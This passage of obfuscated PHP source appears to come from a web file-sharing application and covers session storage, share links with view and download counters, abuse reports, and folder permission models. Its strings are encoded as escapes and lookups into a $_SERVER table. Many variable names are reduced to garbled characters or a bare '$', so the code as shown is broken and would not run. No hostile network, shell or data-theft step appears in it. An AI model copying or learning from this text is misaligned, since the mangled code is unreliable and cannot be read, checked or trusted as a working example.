"\163\171\163\164\145\155\137\x73\x65\163\163\151\157\156"; public function get($) { $ܪ =& $_SERVER[]; $숽̸ = $this->where(array($ܪ[1940] => $))->find(); if (!is_array($숽̸)) { return !1; } return $숽̸[$ܪ[748]]; } public function set($ע, $, $ࣁȍ = 3600) { $ =& $_SERVER[]; $ᅿ = array($[1940] => $ע, $[1848] => $, $[1941] => $ࣁȍ + time()); if (Session::get($[1942])) { $ᅿ[$[1642]] = Session::get($[1942]); } else { $ᅿ[$[1642]] = 0; } if ($this->get($ע)) { return $this->where(array($[1940] => $ע))->save($ᅿ); } else { return $this->add($ᅿ, array(), !0); } } public function remove($܄) { return $this->where(array($_SERVER[][1940] => $܄))->delete(); } public function clearTimeout() { return $this->where($_SERVER[][1943] . time())->delete(); } } class ShareModel extends ModelBase { protected $tableName = "\163\x68\141\162\145"; protected $dataAuto = array(array("\x6d\x6f\x64\x69\146\x79\x54\151\x6d\145", "\164\x69\155\145", "\151\x6e\x73\x65\162\x74\54\x75\160\x64\141\x74\x65", "\x66\x75\156\143\164\151\x6f\x6e"), array("\143\x72\x65\141\164\145\124\151\x6d\x65", "\x74\151\x6d\x65", "\151\x6e\163\x65\x72\x74", "\146\x75\156\143\164\x69\x6f\156"), array("\x6f\160\x74\151\x6f\156\x73", '', "\151\156\163\x65\162\x74\x2c\165\x70\144\x61\x74\145\x2c\x73\x65\154\x65\143\164", "\152\163\x6f\x6e")); private $fieldList = "\52"; protected function cacheFunctionAlias($) { $˦ =& $_SERVER[]; $ = isset($[0]) ? $[0] : !1; return array($˦[1944] => array(USER_ID, $˦[1945]), $˦[1889] => array($, $˦[1946])); } protected function listSimple() { $ = array($_SERVER[][1642] => USER_ID); $߅ = $this->field($this->fieldList)->where($)->select(); return $߅ ? $߅ : array(); } protected function getInfo($, $ = false) { $ݯ =& $_SERVER[]; if ($) { return $this->_getShareInfo(array($ݯ[488] => $)); } $ = $this->cacheFunctionGet($ݯ[1891], $); return $; } public function getInfoByHash($Ǧ) { return $this->_getShareInfo(array($_SERVER[][490] => $Ǧ)); } public function getInfoByPath($ߦ) { $ =& $_SERVER[]; $饬 = array($[1642] => USER_ID, $[403] => $ߦ); return $this->_getShareInfo($饬); } public function getInfoBySourcePath($մ) { $¯ =& $_SERVER[]; $تǣ = array($¯[1642] => USER_ID, $¯[1161] => $մ); return $this->_getShareInfo($تǣ); } private function _getShareInfo($ч) { $› =& $_SERVER[]; $ = $this->where($ч)->find(); if (!$) { return !1; } $ч = array($›[488] => $[$›[488]]); $ = $›[1947]; $ȩ = Model($›[596])->order($›[401])->field($)->where($ч)->select(); if ($[$›[403]] == $›[190]) { $[$›[87]] = IO::info($[$›[1161]]); } else { $[$›[87]] = Model($›[1312])->pathInfo($[$›[403]]); } $[$›[1948]] = $ȩ; return $; } protected function getInfoAuth($) { $ϲȊ =& $_SERVER[]; $ = $this->getInfo($); if ($[$ϲȊ[1642]] == USER_ID) { $[$ϲȊ[414]] = $[$ϲȊ[87]][$ϲȊ[414]]; } else { $[$ϲȊ[414]] = Model($ϲȊ[502])->authMake($[$ϲȊ[1948]]); } return $; } protected function listData($ = null, $û = 300) { $ =& $_SERVER[]; $Ä = array(array($[493] => array($[999], 0), $[495] => array($[999], 0), $[1949] => $[1905])); if ($ == $[1950]) { $Ä = array($[493] => 1); } else { if ($ == $[1146]) { $Ä = array($[495] => 1); } } $Ä[$[1642]] = USER_ID; $ۡ = $this->where($Ä)->selectPage($û); return $ۡ; } protected function listToMe($⑯ێ = 300) { $φ =& $_SERVER[]; $򌶻 = Model($φ[1951])->userGroupParents(USER_ID); $ׯ = array($φ[580] => SourceModel::TYPE_USER, $φ[504] => USER_ID); if ($򌶻) { $ׯ = array(array($φ[580] => SourceModel::TYPE_USER, $φ[504] => USER_ID), array($φ[580] => SourceModel::TYPE_GROUP, $φ[504] => array($φ[7], $򌶻)), $φ[1949] => $φ[1905]); } $ = Model($φ[596])->where($ׯ)->selectPage($⑯ێ); $ؓ = array_to_keyvalue_group($[$φ[364]], $φ[488]); if (!$ؓ) { return $; } $ = $φ[1952]; $ׯ = array($φ[488] => array($φ[419], array_keys($ؓ)), $φ[1642] => array($φ[1001], $φ[190])); $ = $this->field($)->where($ׯ)->select(); foreach ($ as $݈ => &$ħ) { $ħ[$φ[1948]] = $ؓ[$ħ[$φ[488]]]; } unset($ħ); $ϋ = array($φ[1953] => $, $φ[1954] => $[$φ[361]]); return $ϋ; } protected function shareAdd($٘, $ߒ͞) { $͈ =& $_SERVER[]; $ = $this->_addShareData($٘, $ߒ͞); if (!empty($ߒ͞[$͈[1955]])) { $this->_shareAuthSet($, $ߒ͞[$͈[1955]]); } $this->shareEventAdd($٘, $ߒ͞, $͈[1149]); return $; } protected function shareAddSystem($, $) { $иό =& $_SERVER[]; $ = $this->_addShareData($, $, $иό[1261]); $this->_shareAuthSet($, $[$иό[1955]]); return $; } private function shareEventAdd($, $ܥᣈ, $ = "\x61\144\x64") { $Ż =& $_SERVER[]; if (!$ || $ == $Ż[190]) { return; } if ($ == $Ż[1149]) { if ($ܥᣈ[$Ż[493]] == $Ż[89]) { Model($Ż[564])->eventShare($, $Ż[1956]); } if ($ܥᣈ[$Ż[495]] == $Ż[89]) { Model($Ż[564])->eventShare($, $Ż[1957]); } return; } $ = $this->getInfoByPath($); $Ń = $Ż[1958]; if ($[$Ż[493]] == $Ż[190] && $ܥᣈ[$Ż[493]] == $Ż[89]) { $Ń = $Ż[1956]; } if ($[$Ż[493]] == $Ż[89] && $ܥᣈ[$Ż[493]] == $Ż[190]) { $Ń = $Ż[1959]; } if ($[$Ż[495]] == $Ż[190] && $ܥᣈ[$Ż[495]] == $Ż[89]) { $Ń = $Ż[1957]; } if ($[$Ż[495]] == $Ż[89] && $ܥᣈ[$Ż[495]] == $Ż[190]) { $Ń = $Ż[1960]; } Model($Ż[564])->eventShare($, $Ń); return; } private function _addShareData($, $ܫ = array(), $ = false) { $Ë =& $_SERVER[]; $ = $ == $Ë[1261] ? 0 : USER_ID; $ = array($Ë[418] => $, $Ë[1633] => $); if ($ == 0) { $ = array($Ë[1961] => $ܫ[$Ë[1161]], $Ë[1633] => $); } if ($ꧦ = $this->where($)->find()) { return $ꧦ[$Ë[488]]; } if ($ == 0) { $̛ = array($Ë[32] => get_path_this($ܫ[$Ë[78]])); } else { $̛ = Model($Ë[818])->sourceInfo($); if (!$̛) { return !1; } } if (!$ܫ[$Ë[1539]]) { $ܫ[$Ë[1539]] = $̛[$Ë[32]]; } $з = array($Ë[1633] => $, $Ë[418] => $, $Ë[1539] => $Ë[12], $Ë[493] => 0, $Ë[495] => 0, $Ë[1161] => $Ë[12], $Ë[302] => $Ë[12], $Ë[876] => $Ë[12], $Ë[1962] => 0, $Ë[1963] => 0, $Ë[496] => 0, $Ë[497] => $Ë[12], $Ë[490] => $Ë[12]); $ = explode($Ë[50], $Ë[1964]); foreach ($ as $) { if (!isset($ܫ[$])) { continue; } $з[$] = $ܫ[$]; } $ҷ = $this->add($з); $َ = array($Ë[490] => short_id($ҷ)); $this->where(array($Ë[487] => $ҷ))->save($َ); return $ҷ; } private function _shareAuthSet($ϻ, $ż) { $ =& $_SERVER[]; if (!is_array($ż)) { return !1; } $ٶՌ = Model($[1915]); $ٶՌ->where(array($[488] => $ϻ))->delete(); $⍶ = array(); foreach ($ż as $) { $ = SourceModel::TYPE_USER; if ($[$[412]] == SourceModel::TYPE_GROUP) { $ = SourceModel::TYPE_GROUP; } $Պ = array($[488] => $ϻ, $[412] => $, $[504] => intval($[$[504]]), $[1911] => 0, $[1965] => -1); if ($[$[1911]]) { $Պ[$[1911]] = $[$[1911]]; } else { if ($[$[1965]]) { $Պ[$[1965]] = $[$[1965]]; } } $⍶[] = $Պ; } return $ٶՌ->addAll($⍶, array(), !0); } public function numViewAdd($) { $х =& $_SERVER[]; $՛ = array($х[487] => $); $this->where($՛)->setAdd($х[1962]); } public function numDownloadAdd($lj) { $ =& $_SERVER[]; $ = array($[487] => $lj); $this->where($)->setAdd($[1963]); } protected function shareEdit($ǙĘ, $) { $ =& $_SERVER[]; $ = $this->getInfo($ǙĘ); if (!$) { return !1; } $this->_checkLinkShare($, $); $ц = array(); $𠹗 = explode($[50], $[1966]); foreach ($𠹗 as $µ) { if (!array_key_exists($µ, $)) { continue; } $ц[$µ] = $[$µ]; } $this->shareEventAdd($[$[403]], $, $[1780]); $this->where(array($[487] => $ǙĘ))->save($ц); if (isset($[$[1955]])) { $this->_shareAuthSet($ǙĘ, $[$[1955]]); } return !0; } private function _checkLinkShare($П, $) { $І =& $_SERVER[]; if ($П[$І[493]] != $І[89]) { return; } $ݴ = $[$І[87]][$І[403]]; if ($[$І[87]][$І[33]] != $І[192]) { $ = $this->_folderReport($ݴ); if (!$) { return; } show_json(LNG($І[1967]) . $І[1968] . $, !1); } $ߥ = Model($І[818])->fileInfoGet($[$І[87]][$І[403]]); if (!$ߥ) { return; } $ѫ = $this->shareFileMeta($ߥ[$І[467]]); if (isset($ѫ[$І[369]]) && $ѫ[$І[369]] == $І[89]) { show_json(LNG($І[1969]), !1); } } private function _folderReport($ڇװ) { $› =& $_SERVER[]; $ = array($›[467] => array($›[999], 0), $›[743] => 3); $̔ = Model($›[1970])->where($)->field($›[467])->select(); if (!$̔) { return !1; } $̔ = array_to_keyvalue($̔, $›[12], $›[467]); $ = $›[50] . $ڇװ . $›[50]; $ = array($›[467] => array($›[7], $̔), $›[521] => array($›[378], "\45{$}\x25"), $›[431] => 0); $՚ڢ = Model($›[818])->where($)->field($›[1971])->find(); if (!$՚ڢ) { return !1; } $щ = substr($՚ڢ[$›[521]], strpos($՚ڢ[$›[521]], $)); $ = array($›[403] => array($›[7], trim($щ, $›[50]))); $۹ = Model($›[818])->where($)->field($›[32])->select(); $ = array_to_keyvalue($۹, $›[12], $›[32]); $[] = $՚ڢ[$›[32]]; return implode($›[8], $); } protected function remove($ʱ) { $ =& $_SERVER[]; if (is_array($ʱ)) { $ʱ = array($[7], $ʱ); } $ = array($[488] => $ʱ); $ = $this->where($)->delete(); if ($) { Model($[596])->where(array($[488] => $ʱ))->delete(); } $ = is_array($ʱ) ? $ʱ[1] : array($ʱ); for ($ = 0; $ < count($); $++) { $ = $this->getInfo($[$]); if ($[$[495]] == $[89]) { Model($[564])->eventShare($[$[403]], $[1960]); } if ($[$[493]] == $[89]) { Model($[564])->eventShare($[$[403]], $[1959]); } } return $; } protected function removeBySource($ᘗ) { $ިɱ =& $_SERVER[]; $ = array($ިɱ[418] => array($ިɱ[419], $ᘗ)); $ު = $this->field($ިɱ[488])->where($)->select(); $ު = array_to_keyvalue($ު, $ިɱ[12], $ިɱ[488]); if (!$ު) { return; } $ = array($ިɱ[487] => array($ިɱ[419], $ު)); $this->where($)->delete(); Model($ިɱ[596])->where($)->delete(); } public function listAll($) { $ߕʥ =& $_SERVER[]; $„ = array(); if ($[$ߕʥ[1642]]) { $„[$ߕʥ[1642]] = $[$ߕʥ[1642]]; } if ($[$ߕʥ[754]]) { $ = $[$ߕʥ[496]] ? $[$ߕʥ[496]] : strtotime(date($ߕʥ[1972])); $„[$ߕʥ[193]] = array($ߕʥ[328], array($[$ߕʥ[754]], $)); } if ($[$ߕʥ[33]]) { $„[$[$ߕʥ[33]]] = 1; } else { $„[] = array($ߕʥ[493] => array($ߕʥ[999], 0), $ߕʥ[495] => array($ߕʥ[999], 0), $ߕʥ[1949] => $ߕʥ[1905]); } if ($[$ߕʥ[1901]]) { $„[] = array($ߕʥ[490] => $[$ߕʥ[1901]], $ߕʥ[1539] => array($ߕʥ[378], "\45{$[$ߕʥ[1901]]}\x25"), $ߕʥ[1949] => $ߕʥ[1905]); } $ = $this->_makeOrder()->where($„)->selectPage(20); if (empty($[$ߕʥ[364]])) { return array(); } $this->_listDataApply($[$ߕʥ[364]]); return $; } public function listDataApply($泏) { $this->_listDataApply($泏); return $泏; } private function _listDataApply(&$҃) { $ =& $_SERVER[]; $֠ = array_to_keyvalue($҃, $[12], $[1642]); $ = Model($[538])->userListInfo(array_unique($֠)); $ = array_to_keyvalue($҃, $[12], $[403]); $Ĉ = Model($[818])->sourceListInfo($, !0); foreach ($҃ as $㥿 => &$῟) { $ = $῟[$[1642]]; $῟[$[1973]] = $[$] ? $[$] : !1; $ = $῟[$[403]]; $῟[$[87]] = $Ĉ[$] ? $Ĉ[$] : !1; if ($῟[$[87]][$[431]] == $[89]) { unset($҃[$㥿]); } if ($῟[$[87]] != $[190] && !$῟[$[87]]) { unset($҃[$㥿]); } } unset($῟); $҃ = array_values($҃); } private function _makeOrder($ő = '') { $ž۵ =& $_SERVER[]; $♌ = array($ž۵[193], $ž۵[496], $ž۵[1962], $ž۵[1963]); $Ծ = array($ž۵[448] => $ž۵[449], $ž۵[450] => $ž۵[451]); $Ċߔ = Input::get($ž۵[455], $ž۵[7], $ž۵[424], $♌); $ʐӾ = Input::get($ž۵[456], $ž۵[7], $ž۵[1974], array($ž۵[1900], $ž۵[450])); $ʐӾ = $Ծ[$ʐӾ]; $ő = $ő . "{$Ċߔ}\40{$ʐӾ}"; return $this->order($ő); } public function reportAdd($) { $ =& $_SERVER[]; $ꠦ = array($[488] => $[$[488]], $[1642] => USER_ID); if (Model($[1970])->where($ꠦ)->find()) { return !1; } $萄 = array($[488] => $[$[488]], $[1539] => $[$[1539]], $[403] => $[$[403]], $[467] => $[$[467]], $[1642] => USER_ID, $[33] => $[$[33]], $[451] => $[$[451]]); return Model($[1970])->add($萄); } public function reportList($) { $ =& $_SERVER[]; $֢ = array(); if ($[$[754]]) { $ٽ = $[$[496]] ? $[$[496]] : strtotime(date($[1972])); $֢[$[193]] = array($[328], array($[$[754]], $ٽ)); } if (isset($[$[33]]) && in_array($[$[33]], array($[89], $[435], $[1975], $[1976], $[1977]))) { $֢[$[33]] = $[$[33]]; } if (isset($[$[743]]) && in_array($[$[743]], array($[190], $[89], $[435], $[1975]))) { $֢[$[743]] = $[$[743]]; } $ِ̙ = Input::get($[456], $[7], $[1974], array($[1900], $[450])); $ = array($[448] => $[449], $[450] => $[451]); $Ȋ = $[1978] . $[$ِ̙]; $ƥ = Model($[1970])->where($֢)->order($Ȋ)->selectPage(20); if (empty($ƥ[$[364]])) { return array(); } $ކ = array_to_keyvalue_group($ƥ[$[364]], $[743], $[488]); if (!empty($ކ[0])) { $ = $ކ[0]; $֢ = array($[488] => array($[7], $)); $ݪʀ = $this->where($֢)->field($[488])->select(); $ݪʀ = array_to_keyvalue($ݪʀ, $[12], $[488]); $ = array_diff($, $ݪʀ); if (!empty($)) { foreach ($ƥ[$[364]] as $芓ȃ => $Շ) { if (in_array($Շ[$[488]], $)) { unset($ƥ[$[364]][$芓ȃ]); } } } } $this->_listDataApply($ƥ[$[364]]); return $ƥ; } public function reportStatus($) { $ =& $_SERVER[]; $ = array($[401] => $[$[401]]); $ќ = Model($[1970])->where($)->field($[1979])->find(); if (!$ќ) { return !1; } $򳐐 = array($[743] => $[$[743]]); if ($[$[743]] == $[1975] && $ќ[$[743]] == $[1975]) { $򳐐[$[743]] = 0; } $ُ֦ = Model($[1970])->where($)->save($򳐐); if ($[$[743]] == $[435]) { if ($ќ[$[467]] != $[190] && $this->shareFileMeta($ќ[$[467]])) { $this->shareFileMeta($ќ[$[467]], 0); } $this->remove($ќ[$[488]]); return !0; } if ($ُ֦ && $[$[743]] == $[1975]) { $ᯊ = $򳐐[$[743]] == $[1975] ? 1 : 0; $this->shareFileMeta($ќ[$[467]], $ᯊ); $this->removeByFile($ќ[$[467]]); } return $ُ֦; } private function removeByFile($ޑ) { $ݹ =& $_SERVER[]; $К = Model($ݹ[818])->where(array($ݹ[467] => $ޑ))->field($ݹ[403])->select(); $ʟ = array_to_keyvalue($К, $ݹ[12], $ݹ[403]); $⍐ = array($ݹ[403] => array($ݹ[7], $ʟ), $ݹ[493] => 1); $К = $this->where($⍐)->field($ݹ[488])->select(); if (empty($К)) { return; } $ވƬ = array_to_keyvalue($К, $ݹ[12], $ݹ[488]); $this->remove($ވƬ); } private function shareFileMeta($ȝ, $ = null) { $¹ =& $_SERVER[]; $ח = array($¹[467] => $ȝ, $¹[95] => $¹[1980]); if (is_null($)) { return Model($¹[1981])->where($ח)->find(); } $ח[$¹[369]] = $; Model($¹[1981])->add($ח, array(), !0); } } class SourceAuthModel extends ModelBase { protected $tableName = "\x69\x6f\137\163\157\165\162\143\x65\137\x61\x75\164\x68"; public function getAuth($) { $ =& $_SERVER[]; $ԧ = $this->sourceAuthSelect($); $̮А = array(); $ȥ = array(); $̊ = 2 << 25; foreach ($ԧ as $) { $ִ̉ = Model($[507])->listData($[$[1911]]); if (!$ִ̉) { continue; } $̮А[] = $; $ʘ = 0; if ($[$[412]] == SourceModel::TYPE_GROUP) { $ʘ = $̊ * 2; } if ($[$[412]] == SourceModel::TYPE_USER) { $ʘ = $̊; } if ($[$[412]] == SourceModel::TYPE_USER && $[$[504]] == $[190]) { $ʘ = 0; } $ȥ[] = $ִ̉[$[414]] + $ʘ; } array_multisort($ȥ, SORT_DESC, $̮А); return $̮А; } public function sourceAuthSelect($) { $ =& $_SERVER[]; static $ʞ = array(); $Ъ = is_array($) ? !1 : !0; if ($Ъ) { $ = array($); } $ = array(); foreach ($ as $) { if (isset($ʞ[$])) { $[$] = $ʞ[$]; } } if (count($) == count($)) { return $Ъ ? $[$[0]] : $; } $ = $[1982]; $遣 = array($[403] => array($[7], $)); $֨ܜ = $this->field($)->order($[401])->where($遣)->select(); $ = array_to_keyvalue_group($֨ܜ, $[403]); foreach ($ as $) { $ʞ[$] = $[$] ? $[$] : array(); } if ($Ъ) { return $֨ܜ; } return $; } public function setAuth($ºᔭ, $) { $˕ =& $_SERVER[]; $ = Model($˕[1312])->sourceInfo($ºᔭ); if (!$) { return !1; } if ($[$˕[412]] != SourceModel::TYPE_GROUP) { return !1; } $ = 1; $ = $[$˕[504]]; if ($ != $) { $ = array($˕[1810] => $); $˷ = Model($˕[1899])->field($˕[1642])->where($)->select(); $˷ = array_to_keyvalue($˷, $˕[12], $˕[1642]); } $λ = array(SourceModel::TYPE_GROUP, SourceModel::TYPE_USER); $ = array(); foreach ($ as $) { if (!in_array($[$˕[412]], $λ)) { show_json(LNG($˕[1983]), !1); } if ($ != $) { if ($[$˕[412]] == SourceModel::TYPE_GROUP) { } if ($[$˕[504]] != 0 && !in_array($[$˕[504]], $˷)) { } } if ($[$˕[504]] == 0) { $[$˕[412]] = SourceModel::TYPE_USER; } $[] = array($˕[403] => $ºᔭ, $˕[412] => intval($[$˕[412]]), $˕[504] => intval($[$˕[504]]), $˕[1911] => intval($[$˕[1911]]) ? intval($[$˕[1911]]) : 0, $˕[1965] => intval($[$˕[1965]]) ? intval($[$˕[1965]]) : -1); } $this->where(array($˕[418] => $ºᔭ))->delete(); $this->addAll($); return !0; } public function authClear($) { $ =& $_SERVER[]; $כ = Model($[1312])->sourceInfo($); $Ӷ = array($); if ($כ[$[411]] == $[89]) { $ = array($[584] => array($[544], $כ[$[521]] . $ . $[545])); $Ӷ = Model($[1312])->field($[418])->where($)->getField($[403], !0); $Ӷ[] = $; } $this->where(array($[418] => array($[419], $Ӷ)))->delete(); return !0; } public function getAllChildren($ɛ) { $߉ =& $_SERVER[]; $ = Model($߉[1312])->sourceInfo($ɛ); if ($[$߉[411]] != $߉[89]) { return $this->sourceListAuth(array($ɛ)); } if ($[$߉[412]] != SourceModel::TYPE_GROUP) { return array(); } $đ = 1; $ = array($ɛ); if ($[$߉[498]] == $߉[190] && $[$߉[504]] != $đ) { $ = $this->groupChidldAllRootSource($[$߉[504]]); } $ڍ = $this->field($߉[403])->group($߉[403])->select(); $ڍ = array_to_keyvalue($ڍ, $߉[12], $߉[403]); if (!$ڍ) { return array(); } $ާΊ = $߉[1984]; $ٵ = array($߉[403] => array($߉[7], $ڍ), $߉[431] => $߉[190]); $؏ = Model($߉[818])->field($ާΊ)->where($ٵ)->select(); $٦ = array($ɛ); foreach ($؏ as $ƺ) { foreach ($ as $) { $ = $߉[50] . $ . $߉[50]; $ȸ = $ƺ[$߉[521]] . $ƺ[$߉[403]] . $߉[50]; if (strstr($ȸ, $)) { $٦[] = $ƺ[$߉[403]]; break; } } } return $this->sourceListAuth($٦); } private function sourceListAuth($) { $ =& $_SERVER[]; $ſ݆ = Model($[1312])->sourceListInfo($, !0); $ = $this->sourceAuthSelect($); $ǁ = array(); $ŽՆ = array(); foreach ($ſ݆ as $) { unset($[$[454]]); unset($[$[452]]); unset($[$[414]]); unset($[$[87]]); $ = $[$[$[403]]]; if (!$) { continue; } $[$[1985]] = $this->authTargetInfo($); $[$[519]] = rtrim($[$[525]], $[8]) . $[8] . ltrim($[$[519]], $[8]); $ǁ[] = $; $֦ = count(explode($[8], trim($[$[519]], $[8]))); $ŽՆ[] = $֦ + ($[$[33]] == $[79] ? 0 : 1000); } array_multisort($ŽՆ, SORT_ASC, $ǁ); return $ǁ; } private function groupChidldAllRootSource($) { $껱 =& $_SERVER[]; $Ǘ = Model($껱[1986])->groupChildrenAll($); $㢤 = array($껱[498] => 0, $껱[504] => array($껱[7], $Ǘ), $껱[412] => SourceModel::TYPE_GROUP); $֋ = Model($껱[818])->field($껱[403])->where($㢤)->select(); $֋ = array_to_keyvalue($֋, $껱[12], $껱[403]); return $֋; } private function authTargetInfo($ӓ) { $Ө =& $_SERVER[]; $ = array(); $Ʉ = array(); $㛭 = 2 << 25; foreach ($ӓ as $Ԭ) { $͋ = Model($Ө[507])->listData($Ԭ[$Ө[1911]]); if (!$͋) { continue; } if ($Ԭ[$Ө[412]] == SourceModel::TYPE_USER) { $Ύ = Model($Ө[513])->getInfoSimpleOuter($Ԭ[$Ө[504]]); if ($Ύ[$Ө[1642]] == $Ө[1175]) { continue; } if ($Ύ[$Ө[1642]] == $Ө[190]) { $Ύ[$Ө[32]] = LNG($Ө[1987]); } } else { $Ύ = Model($Ө[522])->getInfoSimple($Ԭ[$Ө[504]]); } if (!$Ύ) { continue; } $Ύ[$Ө[466]] = $͋; $[] = $Ύ; $݉ = 0; if ($Ԭ[$Ө[412]] == SourceModel::TYPE_GROUP) { $݉ = $㛭 * 2; } if ($Ԭ[$Ө[412]] == SourceModel::TYPE_USER) { $݉ = $㛭; } if ($Ԭ[$Ө[412]] == SourceModel::TYPE_USER && $Ԭ[$Ө[504]] == $Ө[190]) { $݉ = 0; } $Ʉ[] = $͋[$Ө[414]] + $݉; } array_multisort($Ʉ, SORT_DESC, $); return $; } public function getAllChildrenByUser($–, $) { $Ϻި =& $_SERVER[]; $ = Model($Ϻި[538])->getInfo($); if (!$ || !$– || !$) { return array(); } $롁 = Model($Ϻި[1312])->sourceInfo($–); $ = array(); $ = 1; if ($롁[$Ϻި[498]] == $Ϻި[190] && $롁[$Ϻި[504]] != $ && $this->groupContainUser($롁[$Ϻި[504]], $)) { foreach ($[$Ϻި[1988]] as $Ў) { $ң = Model($Ϻި[522])->getInfo($Ў[$Ϻި[1810]]); $󃁠 = Model($Ϻި[538])->getInfoSimpleOuter($); $󃁠[$Ϻި[466]] = $Ў[$Ϻި[414]]; if (Model($Ϻި[507])->authCheckAction($Ў[$Ϻި[414]][$Ϻި[414]], $Ϻި[1830])) { continue; } $բǎ = array($Ϻި[32] => $Ϻި[1591] . $ң[$Ϻި[32]], $Ϻި[403] => $ң[$Ϻި[87]][$Ϻި[403]], $Ϻި[78] => KodIO::make($ң[$Ϻި[87]][$Ϻި[403]]), $Ϻި[498] => $Ϻި[190], $Ϻި[412] => $Ϻި[515], $Ϻި[33] => $Ϻި[548], $Ϻި[519] => $ң[$Ϻި[526]], $Ϻި[1810] => $ң[$Ϻި[1810]], $Ϻި[523] => $ң[$Ϻި[498]], $Ϻި[1985] => array($󃁠)); $[$բǎ[$Ϻި[403]]] = $բǎ; } } $ǐ = array(); $ϖ = $this->getAllChildren($–); foreach ($ϖ as $) { $Ͻ = !1; foreach ($[$Ϻި[1985]] as $Ԝ) { if ($Ԝ[$Ϻި[1642]]) { if ($Ԝ[$Ϻި[1642]] == $) { $Ͻ = !0; break; } } if ($Ԝ[$Ϻި[1810]]) { if ($this->groupContainUser($Ԝ[$Ϻި[1810]], $)) { $Ͻ = !0; break; } } } if ($Ͻ) { $ǐ[] = $; } $ = $[$Ϻި[403]]; if (isset($[$])) { $[$Ϻި[1985]][] = $[$][0]; $[$] = !1; } } $ = array_filter(array_values($)); $ǐ = array_merge($, $ǐ); return $ǐ; } public function setAllChildrenByUser($瑏, $ə, $Ѱ) { $ =& $_SERVER[]; $զ = $this->getAllChildrenByUser($瑏, $ə); if (!$Ѱ || !$զ) { return !1; } foreach ($զ as $) { $ = array(); foreach ($[$[1985]] as $ʉ) { $ = $ʉ[$[466]]; $վǸԢ = $ʉ[$[1642]] ? SourceModel::TYPE_USER : SourceModel::TYPE_GROUP; $ = $ʉ[$[1642]] ? $ʉ[$[1642]] : $ʉ[$[1810]]; if ($ʉ[$[1642]] && $ʉ[$[1642]] == $ə) { continue; } $[] = array($[403] => $[$[403]], $[412] => $վǸԢ, $[504] => intval($), $[1911] => isset($[$[401]]) ? intval($[$[401]]) : 0, $[1965] => isset($[$[1965]]) ? intval($[$[1965]]) : -1); } $[] = array($[403] => $[$[403]], $[412] => SourceModel::TYPE_USER, $[504] => intval($ə), $[1911] => intval($Ѱ), $[1965] => -1); $this->where(array($[418] => $[$[403]]))->delete(); $this->addAll($); } return !0; } public function get($) { $ƴ = $this->getSourceList(array($), !0); return $ƴ[0]; } public function getSourceList($, $ = false, $ɭ = false) { $Ƹ =& $_SERVER[]; if (!$) { return array(); } $Ǖ = Model($Ƹ[1312]); if (!$ && count($) == 1) { $ = array(); $[$[0]] = $Ǖ->sourceInfo($[0]); } if (!$) { $ϩ = array($Ƹ[418] => array($Ƹ[419], $)); $ = $Ǖ->field($Ƹ[1989])->where($ϩ)->select(); $ = array_to_keyvalue($, $Ƹ[403]); } $Ë = $; foreach ($ as $ => $) { $ = $Ǖ->parentLevelArray($[$Ƹ[521]]); $Ë = array_merge($Ë, array($), array_reverse($)); } $Ë = array_values(array_unique($Ë)); if (!$Ë) { return array(); } $ = $this->sourceAuthSelect($Ë); $ۑ = array(); foreach ($Ë as $Ϯ׮) { if (isset($[$Ϯ׮])) { $ۑ[$Ϯ׮] = $[$Ϯ׮]; } } $١ = $this->userIsRoot($ɭ); $ٲ = AuthModel::authAll(); $ = array($Ƹ[415] => $ٲ, $Ƹ[1990] => array($Ƹ[420] => 0, $Ƹ[1816] => $ٲ, $Ƹ[421] => LNG($Ƹ[1991]), $Ƹ[1832] => $Ƹ[1992])); $ = array(); foreach ($ as $Ϯ׮ => $Ѧ) { if ($١) { $[$Ϯ׮] = $; continue; } $[$Ϯ׮] = $this->makeSourceAuth($Ѧ, $ۑ, $ɭ); } return $; } public function authDeepCheck($, $ = false) { $ԁ =& $_SERVER[]; $ = $ ? $ : USER_ID; $ꡆ = $this->makeAuthDeep($); if (!in_array($, $ꡆ[$ԁ[1993]])) { return !1; } $죳 = array(); foreach ($ꡆ[$ԁ[1994]] as $⟲Ɯ => $) { if (!in_array($, $)) { continue; } $죳[] = $⟲Ɯ; } if (!$죳) { return !1; } $Ɂ = $죳 ? $죳[0] : $; return array($ԁ[415] => -1, $ԁ[466] => array($ԁ[420] => $ԁ[1175], $ԁ[1816] => $ԁ[190], $ԁ[421] => LNG($ԁ[1995]), $ԁ[1832] => $ԁ[1996]), $ԁ[1997] => LNG($ԁ[1998]), $ԁ[1999] => $this->sourceAuthInfo($Ɂ)); } protected function makeAuthDeep($ř䋅 = false) { $Ւ =& $_SERVER[]; static $ = array(); $ř䋅 = $ř䋅 ? $ř䋅 : USER_ID; if (isset($[$ř䋅])) { return $[$ř䋅]; } $ = Model($Ւ[2000])->listData(); $ = array(); foreach ($ as $򾍳) { if ($򾍳[$Ւ[414]] == 0 && $򾍳[$Ւ[1831]] == $Ւ[89]) { $[] = $򾍳[$Ւ[401]]; } } $ꎑ = $this->userGroupParents($ř䋅); $ֶ = array($Ւ[412] => SourceModel::TYPE_USER, $Ւ[504] => $ř䋅); if ($ꎑ) { $ֶ = array(array($Ւ[412] => SourceModel::TYPE_USER, $Ւ[504] => $ř䋅), array($Ւ[412] => SourceModel::TYPE_GROUP, $Ւ[504] => array($Ւ[419], $ꎑ)), $Ւ[987] => $Ւ[1905]); } $܃ = $this->field($Ւ[2001])->where($ֶ)->select(); $ܦߌ = array(); $ = array_to_keyvalue_group($܃, $Ւ[403]); foreach ($ as $ճؼ => $š) { $ = $this->authArrayCheck($š, $ř䋅); if ($[$Ւ[415]] > 0) { $ܦߌ[] = $ճؼ . $Ւ[12]; } } if ($ꎑ) { $χ = Model($Ւ[522]); foreach ($ꎑ as $Ȼ) { $ = $χ->getInfo($Ȼ); if (!$ || !is_array($[$Ւ[87]])) { continue; } $ܦߌ[] = $[$Ւ[87]][$Ւ[403]]; } } $ڞ = array(); $ = $ꎑ; $ = Model($Ւ[1312]); $χ = Model($Ւ[522]); $š = array(); $ = array(); $ = array(); $֑ = array(); if ($ܦߌ) { $ = $->where(array($Ւ[403] => array($Ւ[419], $ܦߌ)))->select(); foreach ($ as $ƽƎ) { $Ή = $->parentLevelArray($ƽƎ[$Ւ[521]]); $ڞ = array_merge($ڞ, $Ή); $[] = $ƽƎ[$Ւ[504]]; $š[$ƽƎ[$Ւ[403]]] = $Ή; $[$ƽƎ[$Ւ[403]]] = $ƽƎ[$Ւ[504]]; } } $ = array_values(array_unique($)); $ڭ = $; foreach ($ڭ as $Ȼ) { $ = $χ->getInfo($Ȼ); $Ή = $->parentLevelArray($[$Ւ[521]]); $ = array_merge($, $Ή); } $ = array_values(array_unique($)); foreach ($ as $Ȼ) { 